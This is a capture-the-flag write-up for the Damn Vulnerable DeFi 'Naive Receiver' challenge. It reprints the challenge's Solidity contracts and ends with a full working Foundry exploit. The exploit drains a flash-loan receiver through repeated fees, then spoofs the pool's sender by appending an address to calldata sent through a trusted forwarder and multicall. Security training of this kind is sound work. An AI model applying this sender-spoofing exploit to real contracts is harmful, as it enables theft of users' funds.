WriteUp for NaiveReceiver

Hello h4ck3r, welcome to the world of DeFi security! Working through challenges on Damn Vulnerable DeFi will sharpen your skills in identifying and exploiting vulnerabilities within decentralized finance protocols. Each challenge represents a specific DeFi exploit scenario, allowing you to test strategies for attacking smart contracts and understand the underlying mechanics of DeFi. If you’re new to Solidity and DeFi principles, You might need to solve Ethernaut first to get an overview of common exploits and vulnerabilities in smart contracts, which will be essential for tackling these challenges.

Key Concepts to Learn

In Solidity, low-level calls don’t strictly validate the calldata, which can lead to unintended behavior. For instance, if a function does not take any input parameters, you can still construct calldata that includes the function selector followed by extra data. When this function is called, it will execute successfully, and msg.data will contain the full calldata, including the extra appended data along with the function selector. This behavior can be leveraged in specific exploit scenarios, where functions process msg.data directly, potentially leading to unexpected results or vulnerabilities.

Check the below example.

 1// SPDX-License-Identifier: MIT
 2pragma solidity ^0.8.0;
 3
 4contract Test{
 5    bytes public data;
 6    function hello()public{
 7        data=msg.data;
 8    }
 9}
10
11
12contract Test1{
13    Test test;
14    constructor(address _addr){
15        test=Test(_addr);
16    }
17    function call_hello()public{
18        bytes8 call_data=bytes8(keccak256(abi.encodePacked("hello()")));
19        bytes memory call_data1=abi.encodePacked(call_data);
20        (bool success,)=address(test).call(call_data1);
21        require(success,"Call Failed");
22    }
23}

I suggest you to try out this example in remix before going through the further solution.

First, deploy the Test contract. Then, pass the address of the deployed Test contract as an argument to the constructor of the Test1 contract and deploy the Test1 contract.

Then call the call_hello() function in the Test1 contract. Once the call is successful, check the value of data in the Test contract. Now directly call the hello() function in the Test contract and once the call is successful, check the value of data.

You can observe that the first time you check, the value of data is 0x19ff1d210e06a53e, and the second time you check, the value is 0x19ff1d21.

The difference is that the second time we are directly calling the hello() function from our EOA using Remix, whereas the first time we are calling hello() from another contract, and in that contract, we are constructing calldata to call the hello() function along with some other data.

From this, we can conclude that when we send some data to a function more than the parameters it is expecting, the call won’t be reverted.

This understanding is crucial to solve this challenge. Once you understand this, I would suggest you go through the challenge once again and try to solve it before going to the Exploit part.

If you are a person who doesn’t know EIP712 or EIP3156, I would suggest you go through the EIPs and then try to solve the challenge.

Exploit

The below are the source contracts.

  1. BasicForwader contract
  1// SPDX-License-Identifier: MIT
  2// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
  3pragma solidity =0.8.25;
  4
  5import {EIP712} from "solady/utils/EIP712.sol";
  6import {ECDSA} from "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
  7import {Address} from "@openzeppelin/contracts/utils/Address.sol";
  8
  9interface IHasTrustedForwarder {
 10    function trustedForwarder() external view returns (address);
 11}
 12
 13contract BasicForwarder is EIP712 {
 14    struct Request {
 15        address from;
 16        address target;
 17        uint256 value;
 18        uint256 gas;
 19        uint256 nonce;
 20        bytes data;
 21        uint256 deadline;
 22    }
 23
 24    error InvalidSigner();
 25    error InvalidNonce();
 26    error OldRequest();
 27    error InvalidTarget();
 28    error InvalidValue();
 29
 30    bytes32 private constant _REQUEST_TYPEHASH = keccak256(
 31        "Request(address from,address target,uint256 value,uint256 gas,uint256 nonce,bytes data,uint256 deadline)"
 32    );
 33
 34    mapping(address => uint256) public nonces;
 35
 36    /**
 37     * @notice Check request and revert when not valid. A valid request must:
 38     * - Include the expected value
 39     * - Not be expired
 40     * - Include the expected nonce
 41     * - Target a contract that accepts this forwarder
 42     * - Be signed by the original sender (`from` field)
 43     */
 44    function _checkRequest(Request calldata request, bytes calldata signature) private view {
 45        if (request.value != msg.value) revert InvalidValue();
 46        if (block.timestamp > request.deadline) revert OldRequest();
 47        if (nonces[request.from] != request.nonce) revert InvalidNonce();
 48
 49        if (IHasTrustedForwarder(request.target).trustedForwarder() != address(this)) revert InvalidTarget();
 50
 51        address signer = ECDSA.recover(_hashTypedData(getDataHash(request)), signature);
 52        if (signer != request.from) revert InvalidSigner();
 53    }
 54
 55    function execute(Request calldata request, bytes calldata signature) public payable returns (bool success) {
 56        _checkRequest(request, signature);
 57
 58        nonces[request.from]++;
 59
 60        uint256 gasLeft;
 61        uint256 value = request.value; // in wei
 62        address target = request.target;
 63        bytes memory payload = abi.encodePacked(request.data, request.from);
 64        uint256 forwardGas = request.gas;
 65        assembly {
 66            success := call(forwardGas, target, value, add(payload, 0x20), mload(payload), 0, 0) // don't copy returndata
 67            gasLeft := gas()
 68        }
 69
 70        if (gasLeft < request.gas / 63) {
 71            assembly {
 72                invalid()
 73            }
 74        }
 75    }
 76
 77    function _domainNameAndVersion() internal pure override returns (string memory name, string memory version) {
 78        name = "BasicForwarder";
 79        version = "1";
 80    }
 81
 82    function getDataHash(Request memory request) public pure returns (bytes32) {
 83        return keccak256(
 84            abi.encode(
 85                _REQUEST_TYPEHASH,
 86                request.from,
 87                request.target,
 88                request.value,
 89                request.gas,
 90                request.nonce,
 91                keccak256(request.data),
 92                request.deadline
 93            )
 94        );
 95    }
 96
 97    function domainSeparator() external view returns (bytes32) {
 98        return _domainSeparator();
 99    }
100
101    function getRequestTypehash() external pure returns (bytes32) {
102        return _REQUEST_TYPEHASH;
103    }
104}
  1. FlashLoanReceiver contract
 1// SPDX-License-Identifier: MIT
 2// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
 3pragma solidity =0.8.25;
 4
 5import {IERC3156FlashBorrower} from "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
 6import {WETH, NaiveReceiverPool} from "./NaiveReceiverPool.sol";
 7
 8contract FlashLoanReceiver is IERC3156FlashBorrower {
 9    address private pool;
10
11    constructor(address _pool) {
12        pool = _pool;
13    }
14
15    function onFlashLoan(address, address token, uint256 amount, uint256 fee, bytes calldata)
16        external
17        returns (bytes32)
18    {
19        assembly {
20            // gas savings
21            if iszero(eq(sload(pool.slot), caller())) {
22                mstore(0x00, 0x48f5c3ed)
23                revert(0x1c, 0x04)
24            }
25        }
26
27        if (token != address(NaiveReceiverPool(pool).weth())) revert NaiveReceiverPool.UnsupportedCurrency();
28
29        uint256 amountToBeRepaid;
30        unchecked {
31            amountToBeRepaid = amount + fee;
32        }
33
34        _executeActionDuringFlashLoan();
35
36        // Return funds to pool
37        WETH(payable(token)).approve(pool, amountToBeRepaid);
38
39        return keccak256("ERC3156FlashBorrower.onFlashLoan");
40    }
41
42    // Internal function where the funds received would be used
43    function _executeActionDuringFlashLoan() internal {}
44}
  1. Multicall contract
 1// SPDX-License-Identifier: MIT
 2// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
 3pragma solidity =0.8.25;
 4
 5import {Address} from "@openzeppelin/contracts/utils/Address.sol";
 6import {Context} from "@openzeppelin/contracts/utils/Context.sol";
 7
 8abstract contract Multicall is Context {
 9    function multicall(bytes[] calldata data) external virtual returns (bytes[] memory results) {
10        results = new bytes[](data.length);
11        for (uint256 i = 0; i < data.length; i++) {
12            results[i] = Address.functionDelegateCall(address(this), data[i]);
13        }
14        return results;
15    }
16}
  1. NavieReceiverPool contract
 1// SPDX-License-Identifier: MIT
 2// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
 3pragma solidity =0.8.25;
 4
 5import {IERC3156FlashLender} from "@openzeppelin/contracts/interfaces/IERC3156FlashLender.sol";
 6import {IERC3156FlashBorrower} from "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
 7import {FlashLoanReceiver} from "./FlashLoanReceiver.sol";
 8import {Multicall} from "./Multicall.sol";
 9import {WETH} from "solmate/tokens/WETH.sol";
10
11contract NaiveReceiverPool is Multicall, IERC3156FlashLender {
12    uint256 private constant FIXED_FEE = 1e18; // not the cheapest flash loan
13    bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");
14
15    WETH public immutable weth;
16    address public immutable trustedForwarder;
17    address public immutable feeReceiver;
18
19    mapping(address => uint256) public deposits;
20    uint256 public totalDeposits;
21
22    error RepayFailed();
23    error UnsupportedCurrency();
24    error CallbackFailed();
25
26    constructor(address _trustedForwarder, address payable _weth, address _feeReceiver) payable {
27        weth = WETH(_weth);
28        trustedForwarder = _trustedForwarder;
29        feeReceiver = _feeReceiver;
30        _deposit(msg.value);
31    }
32
33    function maxFlashLoan(address token) external view returns (uint256) {
34        if (token == address(weth)) return weth.balanceOf(address(this));
35        return 0;
36    }
37
38    function flashFee(address token, uint256) external view returns (uint256) {
39        if (token != address(weth)) revert UnsupportedCurrency();
40        return FIXED_FEE;
41    }
42
43    function flashLoan(IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data)
44        external
45        returns (bool)
46    {
47        if (token != address(weth)) revert UnsupportedCurrency();
48
49        // Transfer WETH and handle control to receiver
50        weth.transfer(address(receiver), amount);
51        totalDeposits -= amount;
52
53        if (receiver.onFlashLoan(msg.sender, address(weth), amount, FIXED_FEE, data) != CALLBACK_SUCCESS) {
54            revert CallbackFailed();
55        }
56
57        uint256 amountWithFee = amount + FIXED_FEE;
58        weth.transferFrom(address(receiver), address(this), amountWithFee);
59        totalDeposits += amountWithFee;
60
61        deposits[feeReceiver] += FIXED_FEE;
62
63        return true;
64    }
65
66    function withdraw(uint256 amount, address payable receiver) external {
67        // Reduce deposits
68        deposits[_msgSender()] -= amount;
69        totalDeposits -= amount;
70
71        // Transfer ETH to designated receiver
72        weth.transfer(receiver, amount);
73    }
74
75    function deposit() external payable {
76        _deposit(msg.value);
77    }
78
79    function _deposit(uint256 amount) private {
80        weth.deposit{value: amount}();
81
82        deposits[_msgSender()] += amount;
83        totalDeposits += amount;
84    }
85
86    function _msgSender() internal view override returns (address) {
87        if (msg.sender == trustedForwarder && msg.data.length >= 20) {
88            return address(bytes20(msg.data[msg.data.length - 20:]));
89        } else {
90            return super._msgSender();
91        }
92    }
93}

The below is the test contract where we write our exploit logic. 5. NavieReceiver contract

  1// SPDX-License-Identifier: MIT
  2// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
  3pragma solidity =0.8.25;
  4
  5import {Test, console} from "forge-std/Test.sol";
  6import {NaiveReceiverPool, Multicall, WETH} from "../../src/naive-receiver/NaiveReceiverPool.sol";
  7import {FlashLoanReceiver} from "../../src/naive-receiver/FlashLoanReceiver.sol";
  8import {BasicForwarder} from "../../src/naive-receiver/BasicForwarder.sol";
  9
 10contract NaiveReceiverChallenge is Test {
 11    address deployer = makeAddr("deployer");
 12    address recovery = makeAddr("recovery");
 13    address player;
 14    uint256 playerPk;
 15
 16    uint256 constant WETH_IN_POOL = 1000e18;
 17    uint256 constant WETH_IN_RECEIVER = 10e18;
 18
 19    NaiveReceiverPool pool;
 20    WETH weth;
 21    FlashLoanReceiver receiver;
 22    BasicForwarder forwarder;
 23
 24    modifier checkSolvedByPlayer() {
 25        vm.startPrank(player, player);
 26        _;
 27        vm.stopPrank();
 28        _isSolved();
 29    }
 30
 31    /**
 32     * SETS UP CHALLENGE - DO NOT TOUCH
 33     */
 34    function setUp() public {
 35        (player, playerPk) = makeAddrAndKey("player");
 36        startHoax(deployer);
 37
 38        // Deploy WETH
 39        weth = new WETH();
 40
 41        // Deploy forwarder
 42        forwarder = new BasicForwarder();
 43
 44        // Deploy pool and fund with ETH
 45        pool = new NaiveReceiverPool{value: WETH_IN_POOL}(address(forwarder), payable(weth), deployer);
 46
 47        // Deploy flashloan receiver contract and fund it with some initial WETH
 48        receiver = new FlashLoanReceiver(address(pool));
 49        weth.deposit{value: WETH_IN_RECEIVER}();
 50        weth.transfer(address(receiver), WETH_IN_RECEIVER);
 51
 52        vm.stopPrank();
 53    }
 54
 55    function test_assertInitialState() public {
 56        // Check initial balances
 57        assertEq(weth.balanceOf(address(pool)), WETH_IN_POOL);
 58        assertEq(weth.balanceOf(address(receiver)), WETH_IN_RECEIVER);
 59
 60        // Check pool config
 61        assertEq(pool.maxFlashLoan(address(weth)), WETH_IN_POOL);
 62        assertEq(pool.flashFee(address(weth), 0), 1 ether);
 63        assertEq(pool.feeReceiver(), deployer);
 64
 65        // Cannot call receiver
 66        vm.expectRevert(0x48f5c3ed);
 67        receiver.onFlashLoan(
 68            deployer,
 69            address(weth), // token
 70            WETH_IN_RECEIVER, // amount
 71            1 ether, // fee
 72            bytes("") // data
 73        );
 74    }
 75
 76    /**
 77     * CODE YOUR SOLUTION HERE
 78     */
 79    function test_naiveReceiver() public checkSolvedByPlayer {
 80        ///////////////////////////////////
 81        // Empty Receiver Balance//////////
 82        ///////////////////////////////////
 83
 84        for (uint8 i = 0; i < 10; i++) {
 85            pool.flashLoan(receiver, address(weth), WETH_IN_POOL, bytes(""));
 86        }
 87
 88        ///////////////////////////////////
 89        // Withdraw All Funds To Recovery//
 90        ///////////////////////////////////
 91
 92        uint256 total = WETH_IN_POOL + WETH_IN_RECEIVER;
 93        bytes memory Withdrawdata = abi.encodeWithSignature("withdraw(uint256,address)", total, recovery, deployer);
 94        bytes[] memory multicall_data_array = new bytes[](1);
 95        multicall_data_array[0] = Withdrawdata;
 96        bytes memory multicallEncodedData = abi.encodeWithSignature("multicall(bytes[])", multicall_data_array);
 97        BasicForwarder.Request memory executeRequest = BasicForwarder.Request({
 98            from: player,
 99            target: address(pool),
100            value: 0,
101            gas: 100000,
102            nonce: vm.getNonce(player),
103            data: multicallEncodedData,
104            deadline: block.timestamp + 1000
105        });
106
107        bytes32 digest =
108            keccak256(abi.encodePacked("\x19\x01", forwarder.domainSeparator(), forwarder.getDataHash(executeRequest)));
109
110        (uint8 v, bytes32 r, bytes32 s) = vm.sign(playerPk, digest);
111
112        forwarder.execute(executeRequest, abi.encodePacked(r, s, v));
113    }
114
115    /**
116     * CHECKS SUCCESS CONDITIONS - DO NOT TOUCH
117     */
118    function _isSolved() private view {
119        // Player must have executed two or less transactions
120        assertLe(vm.getNonce(player), 2);
121
122        // The flashloan receiver contract has been emptied
123        assertEq(weth.balanceOf(address(receiver)), 0, "Unexpected balance in receiver contract");
124
125        // Pool is empty too
126        assertEq(weth.balanceOf(address(pool)), 0, "Unexpected balance in pool");
127
128        // All funds sent to recovery account
129        assertEq(weth.balanceOf(recovery), WETH_IN_POOL + WETH_IN_RECEIVER, "Not enough WETH in recovery account");
130    }
131}

In this challenge our task is to make _isSolved() function return true.

 1function _isSolved() private view {
 2    // Player must have executed two or less transactions
 3    assertLe(vm.getNonce(player), 2);
 4
 5    // The flashloan receiver contract has been emptied
 6    assertEq(weth.balanceOf(address(receiver)), 0, "Unexpected balance in receiver contract");
 7
 8    // Pool is empty too
 9    assertEq(weth.balanceOf(address(pool)), 0, "Unexpected balance in pool");
10
11    // All funds sent to recovery account
12    assertEq(weth.balanceOf(recovery), WETH_IN_POOL + WETH_IN_RECEIVER, "Not enough WETH in recovery account");
13}

The _isSolved() will be passed if we make the balance of WETH tokens in the receiver and pool zero and transfer all those tokens to the recovery address. You can look into setUp() function in test contract to understand how everything is deployed.

Now, without any delay, let’s dive into the key functions which has the exploit.

 1function flashLoan(IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data)
 2        external
 3        returns (bool)
 4    {
 5    if (token != address(weth)) revert UnsupportedCurrency();
 6
 7    // Transfer WETH and handle control to receiver
 8    weth.transfer(address(receiver), amount);
 9    totalDeposits -= amount;
10
11    if (receiver.onFlashLoan(msg.sender, address(weth), amount, FIXED_FEE, data) != CALLBACK_SUCCESS) {
12        revert CallbackFailed();
13    }
14
15    uint256 amountWithFee = amount + FIXED_FEE;
16    weth.transferFrom(address(receiver), address(this), amountWithFee);
17    totalDeposits += amountWithFee;
18
19    deposits[feeReceiver] += FIXED_FEE;
20
21    return true;
22}

This function is from the NaiveReceiverPool contract. When someone calls the flashLoan() function, it will send the WETH tokens to the receiver passed and then call the onFlashLoan function. The receiver must pay back the WETH tokens within the same transaction along with the fee. If they fail to pay, the transaction will revert. While calling the onFlashLoan function, it will pass the address of msg.sender (loan initiator) as the first argument.

Since the flashLoan() is calling onFlashLoan() on the receiver, the receiver must be a contract.

 1function onFlashLoan(address, address token, uint256 amount, uint256 fee, bytes calldata)
 2        external
 3        returns (bytes32)
 4    {
 5    assembly {
 6        // gas savings
 7        if iszero(eq(sload(pool.slot), caller())) {
 8            mstore(0x00, 0x48f5c3ed)
 9            revert(0x1c, 0x04)
10        }
11    }
12
13    if (token != address(NaiveReceiverPool(pool).weth())) revert NaiveReceiverPool.UnsupportedCurrency();
14
15    uint256 amountToBeRepaid;
16    unchecked {
17        amountToBeRepaid = amount + fee;
18    }
19
20    _executeActionDuringFlashLoan();
21
22    // Return funds to pool
23    WETH(payable(token)).approve(pool, amountToBeRepaid);
24
25    return keccak256("ERC3156FlashBorrower.onFlashLoan");
26}

This function is from the NaiveReceiver contract. It will check if the pool has been set or not. If it is not set, it will revert; otherwise, it will continue executing. Then it will check whether the loan given is a WETH token or not. If it is not, it will revert; otherwise, it will continue execution. Then it will add the loan taken and the fee. Then it will call _executeActionDuringFlashLoan(). Once the call is completed, it will approve the pool contract to transfer WETH tokens and return the success message.

It is making all necessary checks, but it is not checking who actually executed the loan. So if we call the flashLoan() function in NaiveReceiverPool from our contract by passing the receiver as the receiver contract address, then it will initiate a loan to the receiver contract, and the receiver contract will use the loan amount and repay the loan amount along with the fee within the transaction.

Since the fee is 1 WETH token for every loan, it will transfer 1 WETH token. So if we initiate a loan to the receiver contract 10 times, then the receiver contract balance will be zero.

Our next goal is to make the pool balance as zero and transfer WETH from pool to recovery address.

1function _msgSender() internal view override returns (address) {
2    if (msg.sender == trustedForwarder && msg.data.length >= 20) {
3        return address(bytes20(msg.data[msg.data.length - 20:]));
4    } else {
5        return super._msgSender();
6    }
7}

The above function is from the NaiveReceiver contract. When it is called, it will check if the msg.sender (caller) is the BasicForwarder contract or not. If it is the BasicForwarder contract, it will return the last 20 bytes of calldata sent by the BasicForwarder contract. If the msg.sender is another address, then it will just return the address of the caller.

 1function execute(Request calldata request, bytes calldata signature) public payable returns (bool success) {
 2    _checkRequest(request, signature);
 3
 4    nonces[request.from]++;
 5
 6    uint256 gasLeft;
 7    uint256 value = request.value; // in wei
 8    address target = request.target;
 9    bytes memory payload = abi.encodePacked(request.data, request.from);
10    uint256 forwardGas = request.gas;
11    assembly {
12        success := call(forwardGas, target, value, add(payload, 0x20), mload(payload), 0, 0) // don't copy returndata
13        gasLeft := gas()
14    }
15
16    if (gasLeft < request.gas / 63) {
17        assembly {
18            invalid()
19        }
20    }
21}

The above function is from the BasicForwarder contract. It will check whether the signature passed to the function is signed by the from member of the struct. Once the _checkRequest() is passed, it will encode the data member and from member from the Request struct and assign it to payload. Then it will make a call to the target member of the Request struct passed. payload is calldata that is sent to the target. The last 20 bytes of payload will be the address of the from member of the Request struct.

Using the execute function, if we call any function in the NaiveReceiverPool contract other than multicall(), then _msgSender() in NaiveReceiverPool will return the address of the from member of the Request struct.

1function multicall(bytes[] calldata data) external virtual returns (bytes[] memory results) {
2    results = new bytes[](data.length);
3    for (uint256 i = 0; i < data.length; i++) {
4        results[i] = Address.functionDelegateCall(address(this), data[i]);
5    }
6    return results;
7}

But using the execute function, if we call the multicall() function in NaiveReceiverPool, then execute will add the from member of the Request struct to the data member of the Request struct and pass it to multicall(). Since our data only contains calldata to call multicall(), the multicall() function won’t care about the next 20 bytes appended by the execute() function to our actual data.

The multicall() function will take a bytes array as input and make a delegate call to NaiveReceiverPool by passing each element of the bytes array as data. Since we are calling multicall() using the execute() function in BasicForwarder, whatever data we need to pass to the multicall() function, we need to construct it before and send the data as the data member of the Request struct.

1function withdraw(uint256 amount, address payable receiver) external {
2    // Reduce deposits
3    deposits[_msgSender()] -= amount;
4    totalDeposits -= amount;
5
6    // Transfer ETH to designated receiver
7    weth.transfer(receiver, amount);
8}

So if we pass a bytes array containing calldata to the withdraw() function as an argument to multicall(), then it will check the necessary conditions and transfer WETH to the receiver from the address returned by _msgSender().

When we call multicall(), it will make a delegate call. During a delegate call, the msg.sender and msg.value will be passed to the next call as the msg.sender who called the multicall() function and the msg.value sent during the multicall() function. However, msg.data will not be the same for both calls. For multicall(), the msg.data will be the data sent by execute(), and for withdraw(), the msg.data will be the data sent by the multicall() function.

So while constructing data for the withdraw() function, if we add an extra 20 bytes as the address of the deployer, then the withdraw() function will be called and it will call _msgSender(). _msgSender() will return the address of the deployer, and since the deployer is holding the entire WETH, the NaiveReceiverPool will transfer the WETH to whatever address we pass. Since our task is to transfer all WETH from NaiveReceiverPool to the recovery address, we need to pass the recovery address in the withdraw() function.

The below is the Exploit logic.

 1function test_naiveReceiver() public checkSolvedByPlayer {
 2    ///////////////////////////////////
 3    // Empty Receiver Balance//////////
 4    ///////////////////////////////////
 5
 6    for (uint8 i = 0; i < 10; i++) {
 7        pool.flashLoan(receiver, address(weth), WETH_IN_POOL, bytes(""));
 8    }
 9
10    ///////////////////////////////////
11    // Withdraw All Funds To Recovery//
12    ///////////////////////////////////
13
14    uint256 total = WETH_IN_POOL + WETH_IN_RECEIVER;
15    bytes memory Withdrawdata = abi.encodeWithSignature("withdraw(uint256,address)", total, recovery, deployer);
16    bytes[] memory multicall_data_array = new bytes[](1);
17    multicall_data_array[0] = Withdrawdata;
18    bytes memory multicallEncodedData = abi.encodeWithSignature("multicall(bytes[])", multicall_data_array);
19    BasicForwarder.Request memory executeRequest = BasicForwarder.Request({
20        from: player,
21        target: address(pool),
22        value: 0,
23        gas: 100000,
24        nonce: vm.getNonce(player),
25        data: multicallEncodedData,
26        deadline: block.timestamp + 1000
27    });
28
29    bytes32 digest =
30        keccak256(abi.encodePacked("\x19\x01", forwarder.domainSeparator(), forwarder.getDataHash(executeRequest)));
31
32    (uint8 v, bytes32 r, bytes32 s) = vm.sign(playerPk, digest);
33
34    forwarder.execute(executeRequest, abi.encodePacked(r, s, v));
35}

That’s it for this challenge. Hope you enjoyed it. If you have any queries, leave a comment below.